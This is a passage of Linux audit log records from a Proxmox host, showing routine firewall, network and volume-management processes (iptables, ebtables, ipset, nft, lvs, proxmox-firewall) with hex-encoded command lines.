name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.234:68007): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965855826,"@rawstring":"node=pve type=PATH msg=audit(1781965855.826:67383): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.233:68006): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965855818,"@rawstring":"node=pve type=PATH msg=audit(1781965855.818:67382): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.233:68005): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965855818,"@rawstring":"node=pve type=PATH msg=audit(1781965855.818:67382): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995224,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.224:68004): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965855809,"@rawstring":"node=pve type=PATH msg=audit(1781965855.809:67381): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995215,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.215:68003): proctitle=\"ip6tables-save\""} {"@timestamp":1781965855809,"@rawstring":"node=pve type=PATH msg=audit(1781965855.809:67381): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.207:68002): proctitle=\"iptables-save\""} {"@timestamp":1781965854544,"@rawstring":"node=pve type=PATH msg=audit(1781965854.544:67380): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995199,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.199:68001): proctitle=\"ip6tables-save\""} {"@timestamp":1781965854544,"@rawstring":"node=pve type=PATH msg=audit(1781965854.544:67380): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.190:68000): proctitle=\"iptables-save\""} {"@timestamp":1781965854544,"@rawstring":"node=pve type=PATH msg=audit(1781965854.544:67379): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995187,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.187:67999): proctitle=\"ebtables-restore\""} {"@timestamp":1781965854544,"@rawstring":"node=pve type=PATH msg=audit(1781965854.544:67378): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.184:67998): proctitle=\"ebtables-restore\""} {"@timestamp":1781965854535,"@rawstring":"node=pve type=PATH msg=audit(1781965854.535:67377): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995178,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.178:67997): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965854535,"@rawstring":"node=pve type=PATH msg=audit(1781965854.535:67377): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.171:67996): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965854535,"@rawstring":"node=pve type=PATH msg=audit(1781965854.535:67376): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995166,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.166:67995): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965854535,"@rawstring":"node=pve type=PATH msg=audit(1781965854.535:67375): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995159,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.159:67994): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965854175,"@rawstring":"node=pve type=PATH msg=audit(1781965854.175:67374): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995153,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.153:67993): proctitle=697073657400726573746F7265"} {"@timestamp":1781965854175,"@rawstring":"node=pve type=PATH msg=audit(1781965854.175:67374): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995146,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.146:67992): proctitle=\"ip6tables-save\""} {"@timestamp":1781965854147,"@rawstring":"node=pve type=PATH msg=audit(1781965854.147:67373): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995136,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.136:67991): proctitle=\"iptables-save\""} {"@timestamp":1781965854147,"@rawstring":"node=pve type=PATH msg=audit(1781965854.147:67373): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995132,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.132:67990): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965852807,"@rawstring":"node=pve type=PATH msg=audit(1781965852.807:67372): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995129,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.129:67989): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965852807,"@rawstring":"node=pve type=PATH msg=audit(1781965852.807:67372): item=0 name=\"/usr/bin/rm\" inode=260891 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995128,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.128:67988): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965849526,"@rawstring":"node=pve type=PATH msg=audit(1781965849.526:67371): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995128,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.128:67987): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965849526,"@rawstring":"node=pve type=PATH msg=audit(1781965849.526:67371): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995122,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.122:67986): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965849526,"@rawstring":"node=pve type=PATH msg=audit(1781965849.526:67370): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995115,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.115:67985): proctitle=\"ip6tables-save\""} {"@timestamp":1781965849526,"@rawstring":"node=pve type=PATH msg=audit(1781965849.526:67369): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995107,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.107:67984): proctitle=\"iptables-save\""} {"@timestamp":1781965849514,"@rawstring":"node=pve type=PATH msg=audit(1781965849.514:67368): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.102:67983): proctitle=69707365740073617665"} {"@timestamp":1781965849514,"@rawstring":"node=pve type=PATH msg=audit(1781965849.514:67368): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.092:67982): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965849514,"@rawstring":"node=pve type=PATH msg=audit(1781965849.514:67367): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.083:67981): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965849514,"@rawstring":"node=pve type=PATH msg=audit(1781965849.514:67366): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995038,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.038:67980): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845797,"@rawstring":"node=pve type=PATH msg=audit(1781965845.797:67365): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995038,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.038:67979): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845797,"@rawstring":"node=pve type=PATH msg=audit(1781965845.797:67365): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995038,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.038:67978): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845793,"@rawstring":"node=pve type=PATH msg=audit(1781965845.793:67364): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995031,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.031:67977): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845793,"@rawstring":"node=pve type=PATH msg=audit(1781965845.793:67364): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995031,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.031:67976): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845792,"@rawstring":"node=pve type=PATH msg=audit(1781965845.792:67363): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995031,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.031:67975): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845792,"@rawstring":"node=pve type=PATH msg=audit(1781965845.792:67363): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965994239,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965994.239:67974): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965845792,"@rawstring":"node=pve type=PATH msg=audit(1781965845.792:67362): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965994208,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965994.208:67973): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965845787,"@rawstring":"node=pve type=PATH msg=audit(1781965845.787:67361): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965990021,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965990.021:67972): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845787,"@rawstring":"node=pve type=PATH msg=audit(1781965845.787:67361): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965990021,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965990.021:67971): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845787,"@rawstring":"node=pve type=PATH msg=audit(1781965845.787:67361): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965990021,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965990.021:67970): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845775,"@rawstring":"node=pve type=PATH msg=audit(1781965845.775:67360): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965990008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965990.008:67969): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845775,"@rawstring":"node=pve type=PATH msg=audit(1781965845.775:67360): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965990008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965990.008:67968): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845767,"@rawstring":"node=pve type=PATH msg=audit(1781965845.767:67359): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965990008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965990.008:67967): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845767,"@rawstring":"node=pve type=PATH msg=audit(1781965845.767:67359): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965987459,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965987.459:67966): proctitle=2F7573722F62696E2F7065726C002F7573722F62696E2F70766573680064656C657465002F6E6F6465732F7076652F71656D752F383737"} {"@timestamp":1781965845756,"@rawstring":"node=pve type=PATH msg=audit(1781965845.756:67358): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986072,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.072:67965): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965845756,"@rawstring":"node=pve type=PATH msg=audit(1781965845.756:67358): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986068,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.068:67964): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965845748,"@rawstring":"node=pve type=PATH msg=audit(1781965845.748:67357): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986067,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.067:67963): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965845748,"@rawstring":"node=pve type=PATH msg=audit(1781965845.748:67357): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986067,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.067:67962): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965845740,"@rawstring":"node=pve type=PATH msg=audit(1781965845.740:67355): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986062,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.062:67961): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965845740,"@rawstring":"node=pve type=PATH msg=audit(1781965845.740:67355): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986055,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.055:67960): proctitle=\"ip6tables-save\""} {"@timestamp":1781965845734,"@rawstring":"node=pve type=PATH msg=audit(1781965845.734:67354): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986048,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.048:67959): proctitle=\"iptables-save\""} {"@timestamp":1781965845734,"@rawstring":"node=pve type=PATH msg=audit(1781965845.734:67354): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986040,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.040:67958): proctitle=\"ip6tables-save\""} {"@timestamp":1781965845726,"@rawstring":"node=pve type=PATH msg=audit(1781965845.726:67353): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.033:67957): proctitle=\"iptables-save\""} {"@timestamp":1781965845726,"@rawstring":"node=pve type=PATH msg=audit(1781965845.726:67353): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986028,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.028:67956): proctitle=\"ebtables-restore\""} {"@timestamp":1781965845719,"@rawstring":"node=pve type=PATH msg=audit(1781965845.719:67352): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986025,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.025:67955): proctitle=\"ebtables-restore\""} {"@timestamp":1781965845719,"@rawstring":"node=pve type=PATH msg=audit(1781965845.719:67352): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986019,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.019:67954): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965845712,"@rawstring":"node=pve type=PATH msg=audit(1781965845.712:67351): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986013,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.013:67953): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965845712,"@rawstring":"node=pve type=PATH msg=audit(1781965845.712:67351): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965986005,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965986.005:67952): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965845704,"@rawstring":"node=pve type=PATH msg=audit(1781965845.704:67350): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.999:67951): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965845704,"@rawstring":"node=pve type=PATH msg=audit(1781965845.704:67350): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985991,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.991:67950): proctitle=697073657400726573746F7265"} {"@timestamp":1781965845696,"@rawstring":"node=pve type=PATH msg=audit(1781965845.696:67349): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.983:67949): proctitle=\"ip6tables-save\""} {"@timestamp":1781965845696,"@rawstring":"node=pve type=PATH msg=audit(1781965845.696:67349): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985978,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.978:67948): proctitle=\"iptables-save\""} {"@timestamp":1781965845687,"@rawstring":"node=pve type=PATH msg=audit(1781965845.687:67348): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985973,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.973:67947): 